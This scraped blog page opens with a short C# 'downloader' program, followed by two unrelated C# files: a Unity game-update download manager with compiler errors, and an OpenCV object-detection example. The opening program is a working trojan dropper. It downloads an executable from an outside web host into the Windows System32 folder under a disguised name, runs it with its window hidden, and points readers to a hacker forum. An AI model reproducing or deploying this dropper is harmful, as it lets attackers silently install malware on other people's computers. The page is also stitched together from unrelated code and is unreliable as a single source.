Downloader Code For CSharp

本文提供了一个使用C#编写的简单示例,演示如何利用URLDownloadToFile从互联网下载文件到指定路径,并通过ShellExecute调用打开下载的文件。该代码适用于Windows环境,基于.NET Framework 2.0。

Downloader Code For CSharp

BY Delphiscn(Delphiscn@gmail.com)http://blog.youkuaiyun.com/delphiscn

Environment: Windows Vista Home Premium VS 2005 Net 2.0

using System.Runtime.InteropServices;
using System;

class Task
{
[DllImport ("Shell32.dll")]
public extern static int ShellExecute([MarshalAs(UnmanagedType.LPTStr)] int handle, String lpOperation, String lpFile, String lpParameters, string lpDirectory, int nShowCmd
);
[DllImport ("urlmon.dll")]
public extern static int URLDownloadToFile([MarshalAs(UnmanagedType.LPTStr)] string pCaller, string szURL, string szFileName, int dwReserved, string lpfnCB
);
static void AboutCoder()
{
Console .Write("+=====================================================+");
Console .Write("Code BY Delphiscn (Delphiscn@gamil.com) http://blog.youkuaiyun.com/delphiscn");
Console .Write("+=====================================================+");
}

static void Main()
{
//AboutCoder ;
URLDownloadToFile(null ,"http://www.lzitw.com/kj/hoho.exe","C:\\Windows\\System32\\Windll32.exe",0,null );
ShellExecute(0, "open", "C:\\Windows\\System32\\Windll32.exe", null, null, 0);
return;
}
}

More Information could be found at: https://forum.eviloctal.com/read-htm-tid-30957.html


using System.Collections; using System.Threading; using System.Collections.Generic; using System.IO; //using System.Diagnostics; //using System.Net; using System; using UnityEngine; using XLua; using LitJson; public class ThreadEvent { public string Key; public List<object> evParams = new List<object>(); } public class HasLoadFile { public string Key; public string KeyValue; public string FileVersionPath; public string FilePath; public LuaFunction onFinish; } public class NotiData { public string evName; public object evParam; public NotiData(string name, object param) { this.evName = name; this.evParam = param; } } namespace LuaFramework { [LuaCallCSharp] public class DownloadManager : Manager { private Thread thread; private Action func; private LuaFunction luaFinishCall; //private Stopwatch sw = new Stopwatch(); private string currDownFile = string.Empty; private ThreadEvent currentEvent; static readonly object m_lockObj = new object(); static Queue<ThreadEvent> events = new Queue<ThreadEvent>(); static Queue<HasLoadFile> hasLoadFile = new Queue<HasLoadFile>(); private bool UIisDownloading = false; //下载大厅 private bool GameisDownloading = false; //下载游戏 private bool isDownloadGameFailure = false;//下载失败 private bool isNowUnZipFile = false; //正在解压文件 private bool isNowUnZipFileComplise = false; //解压完成 public LuaFunction onUnZipFinishCall; //解压完成回调 private int tryDownloadTimes = 0; //当前已经尝试下载的次数 private int totalDownFileNum = 0;//总需下载的文件数 private int waitUnZipFileNum = 0;//总下载的文件数 private int hasUnZipFileNum = 0;//已解压的文件数 HttpDownLoader downloader; private Action<float> onProgressAction; private Action<string> onFileProgressAction; private Action<string> onUnZipFileCall; private LuaFunction onProgressLuaFunc; private static DownloadManager _instance; //private GameObject messagePanel; //private UILabel messageTxt; private Dictionary<string, string> m_localFileVersion; private string m_localFileVersionPath; public static DownloadManager Instance { get { return _instance; } } void Awake() { _instance = this; } // Use this for initialization void Start() { } public void checkUpdate(LuaFunction callBack) { StartCoroutine(_checkUpdate(callBack)); } public void SaveLocalVersion() { string output = ""; foreach (KeyValuePair<string, string> kv in m_localFileVersion) { output += kv.Key + "|" + kv.Value + "\n"; } StreamWriter sw = new StreamWriter(m_localFileVersionPath); sw.Write(output); sw.Close(); } IEnumerator _checkUpdate(LuaFunction callBack) { string uiV = "gameui" + AppConst.UIVersion; string VersionUrl;//下载版本信息 if (AppConst.EOSType == 3) { VersionUrl = AppConst.ResUrl + "/android/"+ uiV + "/files.txt"; }else if (AppConst.EOSType == 5) { VersionUrl = AppConst.ResUrl + "/ios/" + uiV +"/files.txt"; } else { VersionUrl = AppConst.ResUrl + "/pc/" + uiV +"/files.txt"; } WWW www = new WWW(VersionUrl); yield return www; if (www.error == null) { string filesText = System.Text.Encoding.Default.GetString(www.bytes); string[] files = filesText.Split('\n'); for (int i = 0; i < files.Length; i++) { string[] keyValue = files[i].Split('|'); string f = keyValue[0].Replace(".zip", ""); string vers = keyValue[1].Replace("\r", ""); string direc = AppConst.FrameworkRoot + "/" + uiV + "/" + f; if (!Directory.Exists(direc)) //如果游戏没存在则不理 { //callBack.Call("f",false); } else { string version = ""; string localFilesPath = AppConst.FrameworkRoot + "/" + uiV + "/" + f + "/version.txt"; if (File.Exists(localFilesPath)) { StreamReader sr = new StreamReader(localFilesPath); version = sr.ReadToEnd(); sr.Close(); if (version == vers) { callBack.Call(f,true); } else { callBack.Call(f,false); } } else { callBack.Call(f,false); } } } } www.Dispose(); } public void downloadFiles(string filesText, Action<string> onProgress,Action<string> OnUnZipFile) { onUnZipFileCall = OnUnZipFile; onFileProgressAction = onProgress; _downloadFiles(filesText); //StartCoroutine(_downloadFiles(filesText)); } public void downLoadGame(string gameId, LuaFunction onProgress, LuaFunction onFinish, LuaFunction onFail) { _downLoadGame(gameId, onProgress, onFinish, onFail); } void _downLoadGame(string gameId, LuaFunction onProgress, LuaFunction onFinish, LuaFunction onFail) { string uiV = "gameui" + AppConst.UIVersion; string osType; if (AppConst.EOSType == 3) { osType = "/android"; }else if (AppConst.EOSType == 5) { osType = "/ios"; }else { osType = "/pc"; } string uidirec = AppConst.FrameworkRoot + "/"+ uiV; if (!Directory.Exists(uidirec)) { Directory.CreateDirectory(uidirec); } string direc = AppConst.FrameworkRoot + "/"+ uiV +"/" + gameId; if (Directory.Exists(direc)) { Directory.Delete(direc, true); } string fileUrl = AppConst.ResUrl + osType + "/"+ uiV+ "/" + gameId.Trim() + ".zip"; string localfile = AppConst.FrameworkRoot + "/" + uiV + "/" + gameId.Trim() + ".zip"; object[] param = new object[5] { fileUrl, localfile , onProgress , onFinish , onFail }; ThreadEvent ev = new ThreadEvent(); ev.Key = NotiConst.UPDATE_DOWNLOAD; ev.evParams.AddRange(param); DownloadManager.AddEvent(ev); StartDownloadGame(); } public void downloadFilesLuaCall(string filesUrlDir, string localFilesDir, LuaFunction onProgress) { //onProgressLuaFunc = onProgress; //StartCoroutine(_downloadFiles(filesUrlDir, localFilesDir)); } private ConfigInfo _gamecode; private Action<float> _onProgress; private Action<string> _onFinish; public void downloadGamecode(ConfigInfo gamecode, Action<float> onProgress, Action<string> onFinish) { _gamecode = gamecode; _onProgress = onProgress; _onFinish = onFinish; downloader = HttpDownLoader.newHttpDownLoader(); string osType; string fileUrl; string localFile = ""; if (AppConst.EOSType == 3) { osType = "android"; fileUrl = gamecode.Android_DownLoadurl; localFile = AppConst.FrameworkRoot + "Dating" + AppConst.GameCode + ".apk"; } else if (AppConst.EOSType == 5) { osType = "ios"; fileUrl = gamecode.Ios_DownLoadurl; Application.OpenURL(fileUrl); return; } else {//暂未发布PC osType = "pc"; fileUrl = gamecode.PC_DownLoadurl; } downloader.Init(fileUrl, localFile, (float percent) => { onProgress(percent); }, (string savePath) => { onFinish(savePath); _onProgress = null; _onFinish = null; }, OnDownloadGameVersionFailed); } //IEnumerator _downloadFiles(string filesText) void _downloadFiles(string filesText) { //string VersionUrl = AppConst.ResUrl + filesUrlDir + "/files2.txt"; //WWW www = new WWW(VersionUrl); //yield return www; //if (www.error == null) //{ totalDownFileNum = 0; string localFilesText = string.Empty; //string localFilesPath = AppConst.FrameworkRoot + localFilesDir + "/files2.txt"; string localFilesPath = AppConst.FrameworkRoot + "/files2.txt"; Dictionary<string, string> filesVersionDic = new Dictionary<string, string>(); //本地是否有版本文件 if (File.Exists(localFilesPath)) { StreamReader sr = new StreamReader(localFilesPath); localFilesText = sr.ReadToEnd(); localFilesText = localFilesText.Replace("\r", ""); sr.Close(); string[] _files = localFilesText.Split('\n'); if (_files.Length > 1) { for (int i = 0; i < _files.Length; i++) { string[] _keyValue = _files[i].Split('|'); if(_keyValue.Length >= 2) { if (!filesVersionDic.ContainsKey(_keyValue[0])) { filesVersionDic.Add(_keyValue[0], _keyValue[1]); } } } } }else//创建版本文件 { var file = File.Create(localFilesPath); file.Close(); } m_localFileVersionPath = localFilesPath; m_localFileVersion = filesVersionDic; //string filesText = System.Text.Encoding.Default.GetString(www.bytes); var js = JsonMapper.ToObject(filesText); foreach(var key in js.Keys) { bool canUpdate = true; string versionStr; string dicKey = key; if (key == "FishAudio") { #if UNITY_ANDROID versionStr = js[key]["android"][AppConst.UIVersion].ToString(); dicKey = "android/" + key + "_" + AppConst.UIVersion; #elif UNITY_IPHONE versionStr = js[key]["ios"][AppConst.UIVersion].ToString(); dicKey = "ios/" + key + "_" + AppConst.UIVersion; #endif } else if (key == "datingui") { #if UNITY_ANDROID versionStr = js[key]["android"][AppConst.UIVersion].ToString(); dicKey = "android/" + key + "_" + AppConst.UIVersion; #elif UNITY_IPHONE versionStr = js[key]["ios"][AppConst.UIVersion].ToString(); dicKey = "ios/" + key + "_" + AppConst.UIVersion; #endif } else { versionStr = js[key].ToString(); } if (filesVersionDic.ContainsKey(dicKey) && versionStr == filesVersionDic[dicKey]) { canUpdate = false; } if (canUpdate) { totalDownFileNum = totalDownFileNum + 1; string path = AppConst.FrameworkRoot + "/" + dicKey; if (Directory.Exists(path)) { Directory.Delete(path, true); } string fileUrl = AppConst.ResUrl + "/" + dicKey + ".zip"; string localfile = AppConst.FrameworkRoot + "/" + key + ".zip";// + "_" + AppConst.UIVersion object[] param = new object[4] { fileUrl, localfile, dicKey, versionStr}; ThreadEvent ev = new ThreadEvent(); ev.Key = NotiConst.UPDATE_DOWNLOAD; ev.evParams.AddRange(param); DownloadManager.AddEvent(ev); } } //} StartDownloadUI(); } public void getWWW(string url, LuaFunction callBack = null) { StartCoroutine(_getWWW(url, callBack)); } IEnumerator _getWWW(string url, LuaFunction callBack = null) { if (url.Equals(string.Empty)) { yield return null; } WWW www = new WWW(url); yield return www; if (callBack != null) callBack.Call(www); www.Dispose(); } /// <summary> /// 添加到事件队列 /// </summary> public void AddEvent(ThreadEvent ev) { events.Enqueue(ev); } public void OnFinish(Action func) { this.func = func; } public void StartDownloadUI() { if (AppConst.EOSType == 3 || AppConst.EOSType == 5 ) { //友盟统计 UnityCallAndroid.Instance.CallAndroid("umenRecord","140"); } UIisDownloading = true; } public void StartDownloadGame() { GameisDownloading = true; } // Update is called once per frame void Update() { if (UIisDownloading) { if (isNowUnZipFile) { if (onUnZipFileCall != null) { string str = "正在解压文件:"+ hasUnZipFileNum.ToString() + "/" + waitUnZipFileNum.ToString(); onUnZipFileCall(str); } return; } if (!currDownFile.Equals(string.Empty)) { return; } if (events.Count == 0) { //下载完成先安装 if (hasLoadFile.Count > 0) { isNowUnZipFile = true; System.GC.Collect(); UnZipFile(); return; } else { if (thread != null) { thread.Abort(); thread.Join(); thread = null; } } if (this.func != null) { this.func(); this.func = null; if (AppConst.EOSType == 3 || AppConst.EOSType == 5 ) { //友盟统计 UnityCallAndroid.Instance.CallAndroid("umenRecord","141"); } } if (luaFinishCall != null) { luaFinishCall.Call(); luaFinishCall = null; } onProgressLuaFunc = null; onProgressAction = null; onFileProgressAction = null; onUnZipFileCall = null; UIisDownloading = false; currentEvent = null; isNowUnZipFile = false; waitUnZipFileNum = 0; hasUnZipFileNum = 0; System.GC.Collect(); return; } System.GC.Collect(); tryDownloadTimes = 0; currentEvent = events.Dequeue(); OnDownloadFile(currentEvent.evParams); } if (GameisDownloading) { if (isNowUnZipFile) { if (isNowUnZipFileComplise) { if (onUnZipFinishCall != null) { onUnZipFinishCall.Call(); } isNowUnZipFileComplise = false; } return; } if (!currDownFile.Equals(string.Empty)) { return; } if (Application.internetReachability == NetworkReachability.NotReachable) { return; } else { } //下载一个安装一个 if (hasLoadFile.Count > 0) { isNowUnZipFile = true; System.GC.Collect(); InstantceGame(); return; } else { if (thread != null) { thread.Abort(); thread.Join(); thread = null; } } if (events.Count == 0 ) { GameisDownloading = false; currentEvent = null; System.GC.Collect(); return; } System.GC.Collect(); tryDownloadTimes = 0; currentEvent = events.Dequeue(); OnDownloadGame(); } } IEnumerator tryDownloadGames() { System.GC.Collect(); yield return new WaitForSeconds(1.0f); downloader = null; OnDownloadGame(); } /// <summary> ///下载游戏 /// <summary> void OnDownloadGame() { string url = currentEvent.evParams[0].ToString(); currDownFile = currentEvent.evParams[1].ToString(); LuaFunction onProgress = (LuaFunction)currentEvent.evParams[2]; LuaFunction onFinish = (LuaFunction)currentEvent.evParams[3]; LuaFunction onFail = (LuaFunction)currentEvent.evParams[4]; downloader = HttpDownLoader.newHttpDownLoader(); downloader.Init(url, currDownFile, (float percent) => { onProgress.Call(percent); }, (string savePath) => { HasLoadFile ev = new HasLoadFile(); ev.Key = ""; ev.KeyValue = ""; ev.FileVersionPath = ""; ev.FilePath = savePath; ev.onFinish = onFinish; hasLoadFile.Enqueue(ev); currDownFile = string.Empty; }, () => { tryDownloadTimes = tryDownloadTimes + 1; if (tryDownloadTimes < 20) { StartCoroutine(tryDownloadGames()); //OnDownloadGame(); } else { onFail.Call(); //GameObject msgBox = Instantiate(Resources.Load<GameObject>("MessageBox")); //msgBox.transform.SetParent(GameObject.Find("UI Root").transform); //msgBox.transform.localPosition = Vector3.zero; //msgBox.transform.localScale = Vector3.one; //msgBox.transform.Find("beijing/text").GetComponent<UILabel>().text = "下载游戏失败,是否重新下载?"; //msgBox.transform.Find("queren").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { // GameObject.Destroy(msgBox); // OnDownloadGame(); //})); //msgBox.transform.Find("quxiao").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { // GameObject.Destroy(msgBox); // currDownFile = string.Empty; //})); } } ); } /// <summary> /// 下载文件 /// </summary> void OnDownloadFile(List<object> evParams) { string url = evParams[0].ToString(); currDownFile = evParams[1].ToString(); if(evParams.Count == 4) { string key = evParams[2].ToString(); string keyValue = evParams[3].ToString(); downloader = HttpDownLoader.newHttpDownLoader(); downloader.Init(url, currDownFile, ProgressChanged, (string savePath) => { m_localFileVersion[key] = keyValue; HasLoadFile ev = new HasLoadFile(); ev.Key = key; ev.KeyValue = keyValue; ev.FileVersionPath = m_localFileVersionPath; ev.FilePath = savePath; hasLoadFile.Enqueue(ev); waitUnZipFileNum = waitUnZipFileNum + 1; currDownFile = string.Empty; }, OnDownloadFailed); }else { downloader = HttpDownLoader.newHttpDownLoader(); downloader.Init(url, currDownFile, ProgressChanged, OnDownLoadFinish, OnDownloadFailed); } } void OnDownloadGameVersionFailed() { string message = "更新失败!>" + currDownFile; GameObject msgBox = Instantiate(Resources.Load<GameObject>("MessageBox")); msgBox.transform.SetParent(GameObject.Find("UI Root").transform); msgBox.transform.localPosition = Vector3.zero; msgBox.transform.localScale = Vector3.one; msgBox.transform.Find("beijing/text").GetComponent<UILabel>().text = "下载失败,是否重新下载?"; msgBox.transform.Find("queren").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { downloadGamecode(_gamecode, _onProgress, _onFinish); GameObject.Destroy(msgBox); })); msgBox.transform.Find("quxiao").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { Application.Quit(); })); } IEnumerator tryDownloads() { System.GC.Collect(); yield return new WaitForSeconds(1.0f); downloader = null; OnDownloadFile(currentEvent.evParams); } void OnDownloadFailed() { tryDownloadTimes = tryDownloadTimes + 1; if (tryDownloadTimes < 10) { StartCoroutine(tryDownloads()); } else { string message = "更新失败!>" + currDownFile; GameObject msgBox = Instantiate(Resources.Load<GameObject>("MessageBox")); msgBox.transform.SetParent(GameObject.Find("UI Root").transform); msgBox.transform.localPosition = Vector3.zero; msgBox.transform.localScale = Vector3.one; msgBox.transform.Find("beijing/text").GetComponent<UILabel>().text = "网络异常,是否重试?"; msgBox.transform.Find("queren").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { GameObject.Destroy(msgBox); OnDownloadFile(currentEvent.evParams); })); msgBox.transform.Find("quxiao").GetComponent<UIButton>().onClick.Add(new EventDelegate(() => { Application.Quit(); })); } } private void ProgressChanged(float percent) { //UnityEngine.Debug.Log("正在下载" + currDownFile + percent); if (onProgressAction != null) { onProgressAction(percent); } if (onProgressLuaFunc != null) { onProgressLuaFunc.Call(percent); } if (onFileProgressAction != null) { int num = waitUnZipFileNum + 1; string str = string.Format("正在下载文件{0}/{2}:{1:P1},首次更新可能需要等待一些时间",num,percent,totalDownFileNum); onFileProgressAction(str); } //messagePanel.SetActive(true); //messageTxt.text = "正在下载更新文件"; } /// <summary> /// 下载单个文件完成 /// </summary> void OnDownLoadFinish(string savePath) { //小游戏下载完成直接安装 if (savePath.IndexOf(".zip") != -1) { if (ZipFileC.UnZipFile(savePath)) { currDownFile = string.Empty; } else { if (File.Exists(savePath)) { File.Delete(savePath); } currDownFile = string.Empty; } }else { if (File.Exists(savePath)) { File.Delete(savePath); } currDownFile = string.Empty; } } /// <summary> /// 解压文件 /// </summary> void UnZipFile() { thread = new Thread(ThreadRun); thread.Start(); } void ThreadRun() { while (true) { if (hasLoadFile.Count > 0) { HasLoadFile ev = hasLoadFile.Dequeue(); if (ev.FilePath.IndexOf(".zip") != -1) { hasUnZipFileNum = hasUnZipFileNum + 1; //if (onUnZipFileCall != null) //{ // string str = "正在解压文件:"+ hasUnZipFileNum.ToString() + "/" + waitUnZipFileNum.ToString(); // onUnZipFileCall(str); //} if (ZipFileC.UnZipFile(ev.FilePath)) { SaveLocalVersion(); } else { if (File.Exists(ev.FilePath)) { File.Delete(ev.FilePath); } } }else { if (File.Exists(ev.FilePath)) { File.Delete(ev.FilePath); } } } else { isNowUnZipFile = false; break; } Thread.Sleep(1); } } void InstantceGame() { //安装游戏 thread = new Thread(InstanceThreadRun); thread.Start(); } void InstanceThreadRun() { while (true) { if (isNowUnZipFileComplise == false) { if (hasLoadFile.Count > 0) { HasLoadFile ev = hasLoadFile.Dequeue(); if (ev.FilePath.IndexOf(".zip") != -1) { hasUnZipFileNum = hasUnZipFileNum + 1; if (ZipFileC.UnZipFile(ev.FilePath)) { onUnZipFinishCall = null; onUnZipFinishCall = ev.onFinish; isNowUnZipFileComplise = true; //ev.onFinish.Call(); } else { if (File.Exists(ev.FilePath)) { File.Delete(ev.FilePath); } } }else { if (File.Exists(ev.FilePath)) { File.Delete(ev.FilePath); } } } else { isNowUnZipFile = false; break; } } Thread.Sleep(1); } } public void dispose() { //GameObject.Destroy(messagePanel); GameObject.Destroy(gameObject); } /// <summary> /// 应用程序退出 /// </summary> void OnDestroy() { } } }警告 1 变量“osType”已赋值,但其值从未使用过 D:\Lua_Dating546\Assets\Scripts\Manager\DownloadManager.cs 241 20 Assembly-CSharp 错误 2 使用了未赋值的局部变量“versionStr” D:\Lua_Dating546\Assets\Scripts\Manager\DownloadManager.cs 350 64 Assembly-CSharp
07-25
#if !UNITY_WSA_10_0 using System; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; using OpenCVForUnity.CoreModule; using OpenCVForUnity.ImgprocModule; using OpenCVForUnity.UnityIntegration; using OpenCVForUnity.UnityIntegration.Helper.Source2Mat; using OpenCVForUnity.UnityIntegration.Worker.DnnModule; using UnityEngine; using UnityEngine.SceneManagement; using UnityEngine.UI; namespace OpenCVForUnityExample { /// <summary> /// Object Detection DAMO-YOLO Example /// An example of using OpenCV dnn module with DAMO-YOLO Object Detection. /// Referring to : /// https://github.com/tinyvision/DAMO-YOLO /// https://github.com/tinyvision/DAMO-YOLO/blob/master/tools/demo.py /// /// [Tested Models] /// damoyolo_tinynasL18_Ns.onnx https://idstcv.oss-cn-zhangjiakou.aliyuncs.com/DAMO-YOLO/release_model/onnx/before_distill/damoyolo_tinynasL18_Ns.onnx /// damoyolo_tinynasL18_Nm.onnx https://idstcv.oss-cn-zhangjiakou.aliyuncs.com/DAMO-YOLO/release_model/onnx/before_distill/damoyolo_tinynasL18_Nm.onnx /// damoyolo_tinynasL20_T_436.onnx https://idstcv.oss-cn-zhangjiakou.aliyuncs.com/DAMO-YOLO/release_model/onnx/damoyolo_tinynasL20_T_436.onnx /// </summary> [RequireComponent(typeof(MultiSource2MatHelper))] public class ObjectDetectionDAMOYOLOExample : MonoBehaviour { // Public Fields [Header("Output")] [Tooltip("The RawImage for previewing the result.")] public RawImage ResultPreview; [Header("UI")] public Toggle UseAsyncInferenceToggle; public bool UseAsyncInference = false; [Header("Model Settings")] [Tooltip("Path to a binary file of model contains trained weights.")] public string Model = "OpenCVForUnityExamples/dnn/damoyolo_tinynasL18_Ns.onnx"; [Tooltip("Optional path to a text file with names of classes to label detected objects.")] public string Classes = "OpenCVForUnityExamples/dnn/coco.names"; [Tooltip("Confidence threshold.")] public float ConfThreshold = 0.35f; [Tooltip("Non-maximum suppression threshold.")] public float NmsThreshold = 0.6f; [Tooltip("Maximum detections per image.")] public int TopK = 300; [Tooltip("Preprocess input image by resizing to a specific width.")] public int InpWidth = 416; [Tooltip("Preprocess input image by resizing to a specific height.")] public int InpHeight = 416; // Private Fields private Texture2D _texture; private MultiSource2MatHelper _multiSource2MatHelper; private Mat _bgrMat; private DAMOYOLOObjectDetector _objectDetector; private string _classesFilepath; private string _modelFilepath; private FpsMonitor _fpsMonitor; private CancellationTokenSource _cts = new CancellationTokenSource(); private Mat _bgrMatForAsync; private Mat _latestDetectedObjects; private Task _inferenceTask; private readonly Queue<Action> _mainThreadQueue = new(); private readonly object _queueLock = new(); // Unity Lifecycle Methods private async void Start() { _fpsMonitor = GetComponent<FpsMonitor>(); _multiSource2MatHelper = gameObject.GetComponent<MultiSource2MatHelper>(); _multiSource2MatHelper.OutputColorFormat = Source2MatHelperColorFormat.RGBA; // Update GUI state #if !UNITY_WEBGL || UNITY_EDITOR UseAsyncInferenceToggle.isOn = UseAsyncInference; #else UseAsyncInferenceToggle.isOn = false; UseAsyncInferenceToggle.interactable = false; #endif // Asynchronously retrieves the readable file path from the StreamingAssets directory. if (_fpsMonitor != null) _fpsMonitor.ConsoleText = "Preparing file access..."; if (!string.IsNullOrEmpty(Classes)) { _classesFilepath = await OpenCVEnv.GetFilePathTaskAsync(Classes, cancellationToken: _cts.Token); if (string.IsNullOrEmpty(_classesFilepath)) Debug.Log("The file:" + Classes + " did not exist."); } if (!string.IsNullOrEmpty(Model)) { _modelFilepath = await OpenCVEnv.GetFilePathTaskAsync(Model, cancellationToken: _cts.Token); if (string.IsNullOrEmpty(_modelFilepath)) Debug.Log("The file:" + Model + " did not exist."); } if (_fpsMonitor != null) _fpsMonitor.ConsoleText = ""; Run(); } private void Run() { //if true, The error log of the Native side OpenCV will be displayed on the Unity Editor Console. OpenCVDebug.SetDebugMode(true); if (string.IsNullOrEmpty(_modelFilepath)) { Debug.LogError("model: " + Model + " or " + "classes: " + Classes + " is not loaded. Please use [Tools] > [OpenCV for Unity] > [Setup Tools] > [Example Assets Downloader]to download the asset files required for this example scene, and then move them to the \"Assets/StreamingAssets\" folder."); } else { _objectDetector = new DAMOYOLOObjectDetector(_modelFilepath, _classesFilepath, new Size(InpWidth, InpHeight), ConfThreshold, NmsThreshold, TopK); } _multiSource2MatHelper.Initialize(); } /// <summary> /// Raises the source to mat helper initialized event. /// </summary> public void OnSourceToMatHelperInitialized() { Debug.Log("OnSourceToMatHelperInitialized"); Mat rgbaMat = _multiSource2MatHelper.GetMat(); _texture = new Texture2D(rgbaMat.cols(), rgbaMat.rows(), TextureFormat.RGBA32, false); OpenCVMatUtils.MatToTexture2D(rgbaMat, _texture); ResultPreview.texture = _texture; ResultPreview.GetComponent<AspectRatioFitter>().aspectRatio = (float)_texture.width / _texture.height; if (_fpsMonitor != null) { _fpsMonitor.Add("width", rgbaMat.width().ToString()); _fpsMonitor.Add("height", rgbaMat.height().ToString()); _fpsMonitor.Add("orientation", Screen.orientation.ToString()); } _bgrMat = new Mat(rgbaMat.rows(), rgbaMat.cols(), CvType.CV_8UC3); _bgrMatForAsync = new Mat(); } /// <summary> /// Raises the source to mat helper disposed event. /// </summary> public void OnSourceToMatHelperDisposed() { Debug.Log("OnSourceToMatHelperDisposed"); if (_inferenceTask != null && !_inferenceTask.IsCompleted) _inferenceTask.Wait(500); _bgrMat?.Dispose(); _bgrMat = null; _bgrMatForAsync?.Dispose(); _latestDetectedObjects?.Dispose(); if (_texture != null) Texture2D.Destroy(_texture); _texture = null; } /// <summary> /// Raises the source to mat helper error occurred event. /// </summary> /// <param name="errorCode">Error code.</param> /// <param name="message">Message.</param> public void OnSourceToMatHelperErrorOccurred(Source2MatHelperErrorCode errorCode, string message) { Debug.Log("OnSourceToMatHelperErrorOccurred " + errorCode + ":" + message); if (_fpsMonitor != null) { _fpsMonitor.ConsoleText = "ErrorCode: " + errorCode + ":" + message; } } // Update is called once per frame private void Update() { ProcessMainThreadQueue(); if (_multiSource2MatHelper.IsPlaying() && _multiSource2MatHelper.DidUpdateThisFrame()) { Mat rgbaMat = _multiSource2MatHelper.GetMat(); if (_objectDetector == null) { Imgproc.putText(rgbaMat, "model file is not loaded.", new Point(5, rgbaMat.rows() - 30), Imgproc.FONT_HERSHEY_SIMPLEX, 0.7, new Scalar(255, 255, 255, 255), 2, Imgproc.LINE_AA, false); Imgproc.putText(rgbaMat, "Please read console message.", new Point(5, rgbaMat.rows() - 10), Imgproc.FONT_HERSHEY_SIMPLEX, 0.7, new Scalar(255, 255, 255, 255), 2, Imgproc.LINE_AA, false); } else { Imgproc.cvtColor(rgbaMat, _bgrMat, Imgproc.COLOR_RGBA2BGR); if (UseAsyncInference) { // asynchronous execution if (_inferenceTask == null || _inferenceTask.IsCompleted) { _bgrMat.copyTo(_bgrMatForAsync); // for asynchronous execution, deep copy _inferenceTask = Task.Run(async () => { try { // Object detector inference var newObjects = await _objectDetector.DetectAsync(_bgrMatForAsync); RunOnMainThread(() => { _latestDetectedObjects?.Dispose(); _latestDetectedObjects = newObjects; }); } catch (OperationCanceledException ex) { Debug.Log($"Inference canceled: {ex}"); } catch (Exception ex) { Debug.LogError($"Inference error: {ex}"); } }); } Imgproc.cvtColor(_bgrMat, rgbaMat, Imgproc.COLOR_BGR2RGBA); if (_latestDetectedObjects != null) { _objectDetector.Visualize(rgbaMat, _latestDetectedObjects, false, true); } } else { // synchronous execution // TickMeter tm = new TickMeter(); // tm.start(); // Object detector inference using (Mat objects = _objectDetector.Detect(_bgrMat)) { // tm.stop(); // Debug.Log("DAMOYOLOObjectDetector Inference time, ms: " + tm.getTimeMilli()); Imgproc.cvtColor(_bgrMat, rgbaMat, Imgproc.COLOR_BGR2RGBA); _objectDetector.Visualize(rgbaMat, objects, false, true); } } } OpenCVMatUtils.MatToTexture2D(rgbaMat, _texture); } } /// <summary> /// Raises the destroy event. /// </summary> private void OnDestroy() { _multiSource2MatHelper?.Dispose(); _objectDetector?.Dispose(); OpenCVDebug.SetDebugMode(false); _cts?.Dispose(); } /// <summary> /// Raises the back button click event. /// </summary> public void OnBackButtonClick() { SceneManager.LoadScene("OpenCVForUnityExample"); } /// <summary> /// Raises the play button click event. /// </summary> public void OnPlayButtonClick() { _multiSource2MatHelper.Play(); } /// <summary> /// Raises the pause button click event. /// </summary> public void OnPauseButtonClick() { _multiSource2MatHelper.Pause(); } /// <summary> /// Raises the stop button click event. /// </summary> public void OnStopButtonClick() { _multiSource2MatHelper.Stop(); } /// <summary> /// Raises the change camera button click event. /// </summary> public void OnChangeCameraButtonClick() { _multiSource2MatHelper.RequestedIsFrontFacing = !_multiSource2MatHelper.RequestedIsFrontFacing; } /// <summary> /// Raises the use async inference toggle value changed event. /// </summary> public void OnUseAsyncInferenceToggleValueChanged() { if (UseAsyncInferenceToggle.isOn != UseAsyncInference) { // Wait for inference to complete before changing the toggle if (_inferenceTask != null && !_inferenceTask.IsCompleted) _inferenceTask.Wait(500); UseAsyncInference = UseAsyncInferenceToggle.isOn; } } // Private Methods private void RunOnMainThread(Action action) { if (action == null) return; lock (_queueLock) { _mainThreadQueue.Enqueue(action); } } private void ProcessMainThreadQueue() { while (true) { Action action = null; lock (_queueLock) { if (_mainThreadQueue.Count == 0) break; action = _mainThreadQueue.Dequeue(); } try { action?.Invoke(); } catch (Exception ex) { Debug.LogException(ex); } } } } } #endif
09-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值